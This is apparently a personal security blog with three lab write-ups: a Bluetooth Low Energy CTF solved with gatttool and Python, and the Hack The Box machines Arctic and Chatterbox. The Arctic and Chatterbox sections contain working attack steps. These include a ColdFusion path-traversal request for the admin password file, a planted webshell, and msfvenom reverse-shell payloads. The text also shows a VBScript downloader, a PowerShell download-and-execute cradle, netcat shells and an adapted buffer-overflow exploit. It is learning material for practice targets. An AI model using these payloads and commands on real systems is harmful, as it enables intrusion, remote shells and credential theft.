To dump all the data in a readable format, a tool called bleah is needed (or bettercap also does it, if you can get it working!) As bleah has been deprecated I had to download it from a previous commit and download the zip, rather than doing a simple git clone.

Once that is installed, a look at the help menu gives us some hints on usage.

We want to identify the MAC address and enumerate the device.

bleah -b "24:0A:C4:9A:56:96" -e

This brings back a permission error, adding a sudo we get

In addition to this output, the device now has a blue light to indicate that something is connected to it.

So this is great, we now know all the challenges! I guess now is just a case of working through them!

Flag 1

So working down the list, we have the score location, then the location to write flags too.

The next looks like an MD5 hash, I assume that this is the first flag, so let’s try writing that hash to the 002c address.

I think this can be done with bleah, so let’s have a go, relooking at the help, we can write data to the characteritic UUID, I think this should be:

sudo bleah -b 24:0A:C4:9A:56:96 -n "0000ff02-0000-1000-8000-00805f9b34fb" -d "d205303e099ceff44835"

Unfortunately this is wrong, we get “Invalid Handle” so the long code isn’t the UUID.

I had the wrong flag, the “-n” flag is for the charactierstic handle, not the UUID. Tweaking the request we get:

sudo bleah -b 24:0A:C4:9A:56:96 -u "0000ff02-0000-1000-8000-00805f9b34fb" -d "d205303e099ceff44835"

Results in something happening!

I think this is flag 1 done, so we can read the score to see what we have. Doing a full enumeration again (as I’m not sure how to read certain parts in bleah) we get a result!

One flag down! 19 to go!

Flag 2

The second flag seems easy enough “MD5 of Alpha chars in Device Name” So the hostname is “BLECTF06” using cyberchef it’s easy to make a MD5 hash.

So the output we want is: 7ae1f3212f9c3fd33ec2e1040f436c31

Now as bleah has to connect and disconnect each time. It might be better to move back over to gatttools in interactive mode.

gatttool -I

connect  24:0a:c4:9a:56:96

Once connected, again looking at the help, it’s possible to write a handle address (which is the 4 byte location on the left hand side of the table).

char-write-req 002c 7ae1f3212f9c3fd33ec2e1040f436c31

This writes in the “submit flags here” handle of 002c with the MD5 hash of the name of the device.

Flag 2 has been submitted, let’s check the scoreboard and make sure it worked.

char-read-hnd 002a

We got data back, it looks like hex. Putting it into cyberchef we get the result of “Score:1 /20”

So, there are now 2 issues, I don’t want to put all that into cyberchef each time to get the score and submitting the flag didn’t work, or the flag was wrong.

Let’s try and sort out this input! I want to cut the output to data only after the “:” then decode it into plain text.

Trying any sort of awk or cut within interactive mode doesn’t appear to work.

So instead, i’ll need to make the full request outside of interactive mode, however the device is busy within interactive mode. So i’ll have to come out of interactive mode to read the flags!

Reading the guide a bit more, the command is slightly different to use gatttools outside of interactive mode and we need to use the hex value to reference the location, then using cut and xxd I get almost the entire answer (for some reason without the first S, but I know that’s an S so i’m ok with it)

gatttool -b 24:0A:C4:9A:56:96 --char-read -a 0x002a | cut -f3-13 -d ' ' | xxd -r

Onto the second issue, the previous attempt of MD5 hashing the device name didn’t appear to work!

This time, i’ll try to write the code without interactive mode, so we don’t have to keep entering and exiting that mode to get the blooming flags! I’ll also only send the letters MD5’ed.

gatttool -b 24:0A:C4:9A:56:96 --char-write -a 0x002c -n 5cd56d74049ae40f442ece036c6f4f06

After taking an absolute age to run, I cancelled it, not sure why that didn’t run!

Heading back into interactive mode, I could connect into the device, so there wasn’t a connectivity issue, maybe my write command was wrong. Looking at my commands during interactive mode, I think I forgot the “-req” part of the command.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a "0x002c" -n "5cd56d74049ae40f442ece036c6f4f06"

This then worked immediately!

Again reading the score, still on 1/20. I wonder why that’s not worked.

As I’m having to decode the data as it’s coming out, do I need to put it into hex format to write it in?

Looking at the github page, this is the case, coupled with the MD5 hash is always only 20 characters long, so from the github page, the submit command is:

gatttool -b de:ad:be:ef:be:f1 --char-write-req -a 0x002c -n $(echo -n "some flag value"|xxd -ps)

So adding in the first 20 characters from the MD5 hash of BLECTF (we ignore the 06 for some reason) the final command is:

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x002c -n $(echo -n "5cd56d74049ae40f442e" | xxd -ps)

Reading the score, we are now on 2!

Flag 3

The third flag asks to “write anything here” onto handle 0030. This should be straight forward!

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0030 -n "write anything here"

This specifies the data being sent, and the handle location.

Reading back to make sure it has been written, creates some problems!

The only way I know to fix that, is to exit the window, which in our case means coming off the ssh session and closing that tmux screen! Annoying!

Doing that and reading without the decoding doesn’t help!

pi@raspberrypi:~ $ gatttool -b 24:0A:C4:9A:56:96 --char-read -a 0x0030
Characteristic value/descriptor: 00 00 0e 0a 00 00 00 00 0e

Decoding that hex, gives us:



I re-enumated the device using bleah and put the table into a spreadsheet which gives me easy access to what’s on which row and I saw the issue. I was meant to write and read from 0032 not 0030!

Let’s try again!

That’s worked better this time!

This seemed to work, however the score was still 2! Looking closer at the MD5 hash, this is only 16 characters, not the 20 that was expected, earlier when I said the missing “S” wasn’t an issue. It’s just become an issue!

Doing it manually with Cyberchef, my theory is proved correct!

The difference in the MD5 hashes:



So the first character and last 3 characters are missing, how strange!

Going back to the github page, they have a better read command:

gatttool -b 24:0A:C4:9A:56:96 --char-read -a 0x0032|awk -F':' '{print $2}'|tr -d ' '|xxd -r -p;printf '\n'

This displays the full hash and on it’s own line, so life will be easier!

Flag 4

The 4th flag requests that we write the ASCII value of “yo” to handler 0034.

This should be similar to the above, however it will have to be converted to hex for it to work, so it’s submitted the same way as a flag.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0034 -n $(echo -n "yo" | xxd -ps)

Reading the value then returns the MD5 hash which can be submitted.

Flag 5

This flag requires us to write the hex value of “0x07” to 0036. As the values that we input get converted to hex, we can skip that part and just put in the hex value directly.

I started off entering “0x07” but it’s worth remembering that the “0x” are just the prefix to inform everyone that the following value is in hex, therefore in this case it’s not needed.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0036 -n 07

This is then accepted and reading the handle provides the MD5 hash!

Flag 6

Writing the hex 0xC9 to handle 58 is this challenge. Again we should be able to do the same as above, just changing the handle value.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0058 -n C9
Characteristic Write Request failed: Invalid handle

However, an unexpected error, the handle doesn’t exist!

The handles we were provided in the enumeration maxed out at handle 56.

We are always providing the hex values for the handles, maybe the actual handle is the plain number.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 58 -n C9
Characteristic value was written successfully

This seems better so far!

Reading 0x0038 which was the location of the challenge has given us the MD5 hash.

So it’s important to note, the handle values are displayed and mostly used in hex from the enumeration, however pure values can be used.

Flag 7

The 7th flag sets an interesting challenge, to brute force values 00-ff.

I think I should be able to do an ascending loop to read each value. We know that:

Hex 00 = 0

Hex FF = 255

So if we can write a script to increment the number, convert it to hex within that range it should work. For this I’m going to have to learn some python, I am crap at coding, so let’s give this a bash.

We need a simple for incrementing loop which is converted into hex each time. Python contains a “hex” coder, so the test script is:

import os
for x in range (0,256):
        y = hex(x)
        print y

This seems to work! (The first time I did it, I only had my loop up to 255, so it didn’t do the last value, upping this to 256 made it work)

Next is adding in the os.system and gatttool command

import os
for x in range (0,256):
        y = hex(x)
        os.system("gatttool -b 24:0A:C4:9A:56:96 --char-read -a " + str(y))

This takes that converted value and adds it into the end of the command. I had a lot of issue with this, as I kept trying %y which resulted in a “TypeError: not all arguments converted during string formatting” issue, so huge shoutout to @AlexisBitsios on twitter for solving this one for me!

After running through it, I didn’t get the flag. Looking back at the test output, the hex is in 2 digit format, whereas we need 4 digit format e.g 0x001a rather than 0x1a.

It turns out this wasn’t too easy in Python and I had to add some extra bits in, so what I got to was:

import os
for x in range (0,256):
        y = ('0x00' + '{0:02X}'.format(int(x)))
        print y
        os.system("gatttool -b 24:0A:C4:9A:56:96 --char-read -a " + str(y))

Although this did as expected, it didn’t get us the flag.

So I’ve understood the question wrongly. I might need to brute force the value of 3c with the hex values from 00-ff rather than just enumerate the list.

This changes our script slightly, I also realised as it’s not locations, it doesn’t need the padding.

import os
for x in range (0,256):
        y = hex(x) 
        print y
        os.system("gatttool -b 24:0A:C4:9A:56:96 --char-write-req -n 0x00c3 -a " + str(y))

Running through this, it also didn’t work, I think now as it’s printing “0x0 – “0xff” whereas I probably only need “00” – “ff”, so again need a format change in python!

After a few more hours, there is a way to format the data, we want 2 digits of x and the data to be formatted, so tweaking the script, we get:

import os
for x in range (0,256):
        y = '{:02x}'.format(x)
        print y

The output of this is:

This looks good, exactly what we need. So adding back in the os.system call, it should cycle through each value bruteforcing the value!

However, it does not work! We get the help menu a lot with errors:

Cannot parse integer value ?ff? for -a

So, I guess anything with a letter, isn’t an integer so can’t be dealt with in this way. The flag we have on the gatttools command is -a, which is the handle and -n is the value. I had them the wrong way round in the script!!

Also as we are now doing the formatting earlier we don’t need the “str” value, so our final script is:

import os
for x in range (0,256):
        y = '{:02x}'.format(x)
        print y
        os.system("gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x00c3 -n " + y)

Running that through, the values are all written successfully, and the flag was obtained!

During this challenge, I did also learn that Python has a built in module for dealing with ble called blepy. I didn’t look into this, but might do once I’ve done all the other challenges!

Flag 8

Flag 8 requires us to read the handle of 003e 1000 times.

Similar to above, my python is still crap (and I still didn’t look up blepy), so I used a similar idea! Feel free to tweet me with an elegant solution!

import os
for x in range (1, 1000):
        os.system("gatttool -b 24:0A:C4:9A:56:96 --char-read -a 0x003e")

Once the script has run, it’s possible to read the value at 003e and we get:

Flag 9

This one has an interesting extra ability within the original enumeration table we saw.

│ 0040 │ ff0c ( 0000ff0c-0000-1000-8000-00805f9b34fb ) │ NOTIFY READ WRITE │ u'Listen to me for a single notification' │

All of the previous have been only included READ or WRITE. Seeing Notify is quite exciting. So what does notify mean?

Well it doesn’t appear to be very well explained anywhere but effectively it’s a push of data to the client.

The challenge itself to listen for a single notification might not require this notify characteristic, I’m not entirely sure. What I did find though, is there is a “–listen” flag, which can be used after a write, to listen for any responses from the device.

Using this, we create a command of:

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0040 -n value --listen

This is writing “value” onto the 40 handler, then listening for anything to be returned, which it was quite quickly.

Decoding this hex with cyberchef we get the flag!

Posting that in, we get another mark on that scoreboard!

Flag 10

This one wants us to listen for a single indication on the 44 handler. I assume an indication and notification are the same, or at least pretty similar, so we can use a similar command to the previous flag just changing the handler address.

Again the hex was decoded in cyberchef and posted back in for the score!

Flag 11

This challenge wants us to listen for multiple notifications on 0x0046.

Running the same command and leaving the command running brings back multiple values.

Decoding the first 2 lines with cyberchef, we get:

U no want this msg


Submitting that MD5 hash, we get another score on the door!

Flag 12

Again the same command was sent just with the different handler, letting it run bought back a number of data values!

These give similar messages to before, just with a different MD5 hash. Submit that and boom, flag 12 is done!

This is the end of the notify/indicate challenges, so what is the difference, as they are accessed using the same commands!

These are very similar things, however an indication requires a confirmation of the message, whereas the notify does not. This means that notifications are faster but if it doesn’t get received no-one knows. I guess it’s easiest to think of indication as similar to TCP compared to notify which acts more like UDP!

Flag 13

For this flag, we are asked to connect to the device using the MAC address: 11:22:33:44:55:66

So for this, we have to change our own MAC address, this shouldn’t be too difficult, there is a tool called bdaddr which allows us to do this on the raspberry pi. The issue is my pi doesn’t have an internet connection, so I need to download the tool here and scp it across to my pi

scp bdaddrtar.bz2 pi@

Then once the bz2 file is there, it just needs extracting:

bzip2 -d bdaddrtar.bz2 && tar xf bdaddrtar

Then we need to make the file

cd bdaddr && make

It then errors, because I don’t have the right dependencies:

sudo apt-get install libbluetooth-dev

Once all that is installed, the make runs through without an issue.

Doing a bit more research it looks like the command we need to change our bluetooth MAC address is:

sudo ./bdaddr -i hci0 -r 00:de:ad:be:ef:00

Running hciconfig -a we see that our address is hci0

The current MAC address is: B8:27:EB:4A:E9:C7

However we want it to be: 11:22:33:44:55:66

Our command will therefore be

sudo ./bdaddr -i hci0 -r 11:22:33:44:55:66

Running that, we get:

That looks pretty promising!

Checking that bluetooth still works, I run a lescan using hcitool:

Excellent, that appears to still be working.

However when trying to do a read with gatttools it appears to freeze and not do anything.

Heading into interactive mode, connection is successful to the device. However reading the data isn’t so good!

I’m not sure why this is, so I’m going to use the tool to change my MAC address back and see if I can read from there!

sudo ./bdaddr -i hci0 -r B8:27:EB:4A:E9:C7

The command again worked successfully, although the device address didn’t appear to have changed.

However, the device still doesn’t seem to be reading!

Just to do another check, I re-ran the bleah enumeration command to see if that worked and it connected without an issue, but wasn’t able to enumerate the device.

As the bluetooth was built into the Pi, I couldn’t pull out the dongle to reset it, so I tried what I could with an ethernet connection, I downed the interface and bought it back up.

After that, trying to do a read worked without an issue, and as we had connected to the device via interactive mode. The MD5 hash was returned!

I’m not sure why the device wasn’t readable after the MAC address was changed, or even when it was changed back. If anyone knows more about this, feel free to let me know via twitter!

Flag 14

This flag requires the user to change the MTU (maximum transmission unit) of the bluetooth device to 444. This MTU values controls the lengths of packets that can be sent and received to the device, being able to specific a maximum length could help with limiting the amount of data that is sent to the device.

Gatttools is able to change this MTU value via the interactive option.

gatttools -I

Once in interactive mode, we need to connect to the device

connect 24:0A:C4:9A:56:96

Then once connected, there is a command to change the MTU that I found via the help!

Once the MTU was changed, reading the value at this challenge of 004e returns the flag!


Flag 15

This challenge requests “Write+Resp ‘hello'”. So I assume it’s a write challenge, the handle doesn’t have notify or indicate so it’s not requiring us to use the –listen flag.

Instead let’s try doing a simple write of the word hello, then a read of the data.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0050 -n $(echo -n "hello" | xxd -ps)

Then reading the handle:

gatttool -b 24:0A:C4:9A:56:96 --char-read -a 0x0050|awk -F':' '{print $2}'|tr -d ' '|xxd -r -p;printf '\n'

Oh, it appears to have returned the flag. I didn’t expect that to work, it seemed too similar to the first few tasks. Never mind, submitting that gives me a new high score!

Flag 16

Well well well, this flag’s clue is very cryptic “No notifications here! really?”. What does that mean?

I guess first up, let’s read it and confirm that’s the case. Reading it gives the same result, when trying to write to it, the write is successful but the following read again returns the same message. Not too sure what this means!

So it turns out, it was a lie! There are notifications! Sending data with the –listen flag returned some hex value that when decoded, was the flag!

Submitting that means we are one step closer to all the flags!

Flag 17

This one looks interesting, the clue is “so many properties” and there really are we have:

  • notify
  • broadcast
  • read
  • write
  • extended properties

So let’s start with what we know, we can read handles so let’s try that

That has just returned the same data!

The same happens if we just do a plain write to the value and a read after.

So instead if we try to do a notify, so write some data with the –listen flag:

Success, that looks half of the flag!

What if we then try another read of the data, now that we have written something to it?

Decoding that hex and we get:

That looks like other half of a flag! Excellent!

Putting these together took 2 goes to get right! But submitting the flag and checking the score, another flag down!

Flag 18

The final challenge is an MD5 of the authors twitter handle!

A quick look on Github provides the website http://www.hackgnar.com/

From there his twitter handle is present as @hackgnar

Using cyberchef to make an MD5 of that, we get:


The first 20 characters which all flags are is:


Submitting that as the flag, and there it is!

But wait, only 18 flags have been completed!

What the heck have I missed?!

Flag 1 again (but for us 19!)

Going back to the github page, there is a sneaky first flag for reading the instructions (which I didn’t do!)

The flag is here: https://github.com/hackgnar/ble_ctf/blob/master/docs/hints/flag1.md

Submitting that gives you an extra point!

But we are still missing one!

Flag 20!

Looking through the guide again, it appears that there might be 2 flags available for MD5ing the device name. The device name is BLECTF which we entered, however looking at the enumeration there was a hidden flag under the device name data!

I’m not sure how I missed that and I’m sure I was meant to do it earlier! But never mind, we made it!

All flags collected! Excellent!

Final Thoughts

This was a great introduction to BLE, from knowing nothing about it and not even being able to connect at the start, I now feel confident in reading, writing and looking at data on BLE which I have no doubt will be useful in the future!

I would like to thank Ross Mark’s who has also done a walkthrough which I glanced at when stuck, especially in the early stages before I fully understood what was going on!

Hopefully you managed to follow this blog. It is a bit all over the place as it was written while doing, with all of the wrong turns included! Overall this took me a few hours over a number of days (with the Score resetting to 0 each time I unplugged the device) with a lot of research and googling in the background, so don’t be disheartened if parts are confusing or you don’t fully get it yet, you aren’t meant to!

Remember, Knowing stuff is cool, but learning just takes longer!

HTB – Artic

It’s time to get a bit cooooooool, we are gunna have a look at Artic!

Start off as usual with our nmap scan

nmap -sC -sV -O -oN nmap/initial -vv

We get a few results:

135/tcp open msrpc Microsoft Windows RPC
8500/tcp open fmtp?
49154/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)

So it’s windows and 3 ports. I have no idea what fmtp might be, let’s see if we can view it in a browser.

We get a directory listing back!

We know what CFIDE is, that’s Adobe Cold Fusion. Known to have a load of vulnerbilities depending on version!

Looking in that folder, we find Administrator, which brings us a login screen!

There is a known LFI in CFIDE, which lets you see the admin password, accessing it via:\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en

Visiting it, gives us:

I’d say that password is hashed, a quick google tells us the normal hash for this is SHA1.

Putting it into hash-identifier

Confirms it is likely to be SHA-1!

Let’s try and crack it with john. Copy the hash into a text file and run john:

john hash.txt -w /usr/share/wordlists/rockyou.txt

It comes up with a whole heap of things it could be but after a while it lets us know it’s cracked.

Let’s check the password:

john --show --format=Raw-SHA1 hash.txt

It is a happyday!

Let’s go back to the admin login and see if the creds work!

Success we are in!

Now i’ve exploited this application before, so I have an idea!

Looking at Settings Summary. We can see that any uploaded files get saved at CFIDE/scripts

Double checking the directory listing earlier, we have access to that folder. So we should be able to upload a payload to there and execute it to get a webshell or reverse shell or whatever we want!

Looking in the folder, mostly the files are js or cfm. I think we need to upload a .cfm for it to execute on the server. Luckily on kali there is a default cfm webshell located in /usr/share/webshells/cfm/cfexec.cfm

To upload a file, we need to set up a scheduled task. Under “Debugging & Logging” we have the scheduled tasks.

We will schedule a new task. We can’t upload a file, but we can access a URL, so let’s host our .cfm using python and put in the details. Make sure “Save output to a file” is ticked and we need to confirm where to save it.

Heading back to the setting summary, we can see the CFIDE mapping

I guess we need to use that with \scripts on the end


Submit the task. (This box is very slow, so be patient!)

Once submitted, we need to run the task.

We get a hit on our webserver! And our file is there!

You’ll notice it’s a jsp, not sure why this is. Ah in my autocomplete on the File path, it was a .jsp file. So maybe it needs to be a jsp not a cfm.

Let’s try with a cfm.

A CFM does work (as does a jsp) so either is good!

Hmm, we get an error when running a command:

I think this will be because I changed the name of the file.

Looking at the script, we needed to make a change before we were so reckless in our uploading!

<form method="POST" action="cfexec.cfm">

We need to change this to be:

<form method="POST" action="yekki2.cfm">

Let’s upload it and call the file yekki2.cfm. The reason to call it “2” is that I have no idea if it will overwrite files or fail at that. So it’s must easier and less things can go wrong to make a new one!

Using that webshell, let’s try and whoami /all

Very strange, we get another error!

It doesn’t look like it can find cmd.exe! How strange!

Let’s try powershell instead. Again same issue.

Wow that’s odd. Ok, instead of trying to do that, let’s make a reverse shell payload!

The syntax for this is:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=9002 -f raw > yekki-rs.jsp

That runs and creates our reverse shell payload

Let’s host that using python and change our scheduled task to grab this file instead.

Run the scheduled task and it appears.

Set up a nc listener

nc -nvlp 9002

Click on the link. Cross those fingers……

We get a reverse shell and the user flag! Noice!

Let’s get my favourite powerless script across. I have a VBA script which works like a wget.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs
echo xHttp.Open "GET", "", False >> script1.vbs
echo xHttp.Send >> script1.vbs
echo with bStrm >> script1.vbs
echo .type = 1 '//binary >> script1.vbs
echo .open >> script1.vbs
echo .write xHttp.responseBody >> script1.vbs
echo .savetofile "Powerless.bat", 2 '//overwrite >> script1.vbs
echo end with >> script1.vbs
cscript script1.vbs

Running powerless


We get a whole bunch of data, let’s see what we have!

Host Name: ARCTIC 
OS Name: Microsoft Windows Server 2008 R2 Standard 
OS Version: 6.1.7600 N/A Build 7600

We have a lot of priviledges:


Privilege Name Description State 
============================= ========================================= ======== 
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeImpersonatePrivilege Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege Create global objects Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

The windows 2008 and the privileges lead me to think maybe we need to use the SeImpersonatePrivilege priv esc.

Searchsploit agrees. Generally I prefer not using kernal exploits as I want to learn other weaknesses, but I can’t see anything else obvious.

Let’s get Sherlock the powershell script across and see if that agrees that I’m on the right lines.

First let’s upgrade ourselves to a powershell terminal.

We can use nishang to create a reverse shell. Go into nishang and edit the Invoke-PowershellTcp.ps1 and at the end enter:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9003

Then host is using python simple webshell.

Back on the target machine, we can use powershell to get the file which should then start our second reverse shell,

powershell IEX(New-Object Net.WebClient).downloadString('')

There might be a better way to go up to powershell but I like this, as I get a second shell, so if anything goes wrong, I can re-call it using the first shell without using ColdFusion again.

From here, we can use Sherlock. Firstly in the sherlock powershell file, at the bottom put in:

function Find-AllVulns

This will run the script when it’s downloaded.

IEX(New-Object Net.WebClient).downloadString('')

Sherlock then errors out. Sadly.

Instead let’s remove that line from Sherlock and try:

IEX(New-Object Net.WebClient).downloadString('') ; Find-AllVulns

This time, we get a bunch of output and a few potential vulnerabilities:

Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888 
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable

Title : ClientCopyImage Win32k
MSBulletin : MS15-051 
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable

Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

So we know which options might be vulnerable!

Let’s start at the top and work our way down. So firstly, task scheduler .xml. Searching on searchsploit we get a hit. The exploit however is part of metasploit and I can’t seem to find a different version on github.

Ok moving on, ClientCopyImage has a compiled .exe on github we can try!

As the machine is 64 bit, let’s try that.

We need to get the file across to the box. To do this, as powershell was a pain earlier, I’m going back to my trusty wget vba script!

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs 
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs 
echo xHttp.Open "GET", "", False >> script1.vbs 
echo xHttp.Send >> script1.vbs 
echo with bStrm >> script1.vbs 
echo .type = 1 '//binary >> script1.vbs 
echo .open >> script1.vbs 
echo .write xHttp.responseBody >> script1.vbs 
echo .savetofile "Taihou64.exe", 2 '//overwrite >> script1.vbs 
echo end with >> script1.vbs 
cscript script1.vbs

That’s now downloaded, all that’s left is to run it:


That runs for a while annnd…… it doesn’t appear to do anything!

Well that’s no good! The last exploit needs 2 CPUs, I’m not sure if this has that as it’s a VM.

Instead while I was waiting for Taihou64 to run, I remembered I have previosuly priv esced on a 2008 with an exploit called Churrasco.

The .exe is on kali under /usr/share/sqlninja/apps/churrasco.exe

Let’s get that across to the box with out wget script.

We also need to get netcat across, there is a static binary of this in /usr/share/windows-binaries/nc.exe.

Start up a listener on a new port

nc -nvlp 9111

Then run,

.\pr.exe -d "C:\Users\tolis\Links\nc.exe 9111 -e cmd.exe"

And it doesn’t have the right set up to run:

/churrasco/-->Current User: tolis 
/churrasco/-->Process is not running under NETWORK SERVICE account!
/churrasco/-->Getting NETWORK SERVICE token ...
/churrasco/-->Couldn't find NETWORK SERVICE token


Looking around a bit more, there is another potential exploit we can use, called Chimichurri. There is a compiled version on github.

Downloading that and moving it across to the box.

Let’s run that and we need to give it parameters of where a reverse shell should go to.

C:\Users\tolis\Links\win.exe 9111

And nothing happens.

That should have worked (trust me I read a walkthrough!)

Maybe someone else has already used the exploit and buggered the path? I’m not sure.

After a box reset, it still didn’t work. The exploit just hangs and doesn’t give us anything back. I looked a couple of walkthroughs, all the priv esc is kernal exploits and really I want to learn other Windows priv esc methods, so I’m going to give up on this one!

This is a flag that will go un-earned (until I come back and do it with metasploit in like 5 minutes)!


HTB – Chatterbox

Here we go, let’s do another retired box which is part of TJNull’s OSCP-like VMs!

Today will be Chatterbox. I’ve not looked at this box before, so will be a straight from scratch let’s learn as we go writeup!

*********False Start***********

First up, nmap!

nmap -sC -sV -O -oN nmap/initial  -vv

We get two open ports:

554/tcp open rtsp? syn-ack ttl 128
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
7070/tcp open realserver? syn-ack ttl 128
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X|3.X, Microsoft Windows XP|7|2012
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012

Well that isn’t exactly what I would expect. Port 554 and 7070 and not much of an idea about the OS!


I just released that I haven’t connected to the Hack The Box VPN (always do this first!), so let’s run that scan again and see if we get different results! Sorry to whoever owns that public IP address!

Let’s redo that first nmap scan!

This time, we get no results! Not a single port open! Let’s try a full port scan!

nmap -sS -p- -oN nmap/allports -vv

While that’s running, we also run a UDP scan. I always do the top 1000 first, if there is nothing in that, usually there isn’t much at all:

nmap -sU --top-ports=1000 -oN nmap/UDP

Nothing on UDP and no ports coming back on the all ports scan.

Let’s try resetting the box and starting again. Something has borked here!

********Actual Start**************

Doing a quick scan to see if we have anything open:

nmap -sS -vv

We don’t get any findings. Let’s run a full port scan again:

nmap -sV -p- -vv -T5

For some reason the scan was going to take an hour and a half. So while that ran, I tried out massscan which I haven’t used before. I tried scanning the first 10,000 ports and it found ports 554 and 7070 pretty quickly, but these aren’t HTB I don’t think, so it’s for some reason not using the VPN?

Ignoring that, I waited, and waited, and waited. For the nmap scan to finish and we got 2 results, these were different and showed:

Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-13 14:25 BST
Nmap scan report for
Host is up (0.13s latency).
Not shown: 65533 filtered ports
9255/tcp open mon
9256/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2594.76 seconds

Right, finally some results (43 minutes later!), let’s do a more detailed scan of those 2 ports:

nmap -sC -sV -O -oN nmap/detailed -p 9255,9256 -vv

So we have two chat systems. 9255 is HTTP and not sure about 9256.

Let’s go check out 9255 first.

We get absolutely nothing back from that port. It doesn’t load. netcat doesn’t return anything.

Lets part that and check 9256. Netcat again gives nothing in return

nc 9256

However, going to a browser, we get:

Still not very useful.

Trying to run gobuster to see if there is anything more, gobuster tells us that it can’t connect.

Let’s google “achat chat system” and see if we have any default directories or anything.

We get a hit, for a Remote Buffer Overflow from exploit-db.

I’m out of other ideas so let’s try that

So in the script, we need to create a payload and replace it, we also need to change the attack target.

Updating the IP address:

# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('', 9256)

The payload looks strange, it’s windows/exec for calc.exe. Not too sure what this is going to do!

Fuck it, let’s run it and see what happens.

I think that means it ran? Let’s try changing the payload the be a reverse shell.

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9010 -f c -a x86 --platform windows -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' -f python

And it couldn’t create it due to the massive list of bad characters. Maybe we can use a different encoder that will work?

I found a list of encoders and did some trial and error.

I managed to find that x86/unicode_upper worked. Why is this? No idea! I guess it can use enough characters to work around the bad characters.

It does say it’s skipping invalid encoder, but it made it anyway, so I have absolutely no idea what’s going on, but i’ll take it!

Copying that into the script and noting its 324 bytes. Luckily the script works out the length of the buffer and takes it into account, so we don’t need to change anything there.

Right, let’s get a listener up on port 9002 and run this.

Ok, less exciting than I was expecting. Nothing happened! Double checking the IP address and the port, they are all right. Maybe the service has crashed when we did it as a test first time?

Resetting the box, we then try it again.

After a reset, we still have nothing! Ok, well that’s no use!

Maybe the unicode_upper isn’t what we need. Let’s keep looking, unicode_mixed also gives us a shellcode. I also realised I had 2 -f flags in my msfvenom, so I took out the -f c. That was a copy/paste error!

Created the payload and put it into the script. Let’s try again.


Ok, let’s re-look at the script and what that has. Looking at their suggested msfvenom payload I notice it has:


We haven’t included that. Let’s add that in so our msfvenom command now looks like:

So many bad characters!

Wow this is a much longer payload at 774 bytes!

Copying that into the script, let’s try again!

Hooray, we get a reverse shell!

So it’s always important to read through the PoC and even though we are doing something different, including all the important parts! Also go through all the encoders. Just as a test, I re-ran it with the Upper encoder, and as long as I included the buffer register, it worked fine!

So although the encoder does matter to get round the amount of bad characters, the Buffer Register location is the critical part!

Now that we are in, a little look and we get the user flag!

I didn’t really like that user, I didn’t have anything to see if the service was up or down and finding the initial port was an absolute PITA!

Let’s take a look around for priv esc. Windows priv esc is my weak point, so really hoping to learn a good new skill here!

For Windows priv esc, I really like the Fuzzy Sec guide.

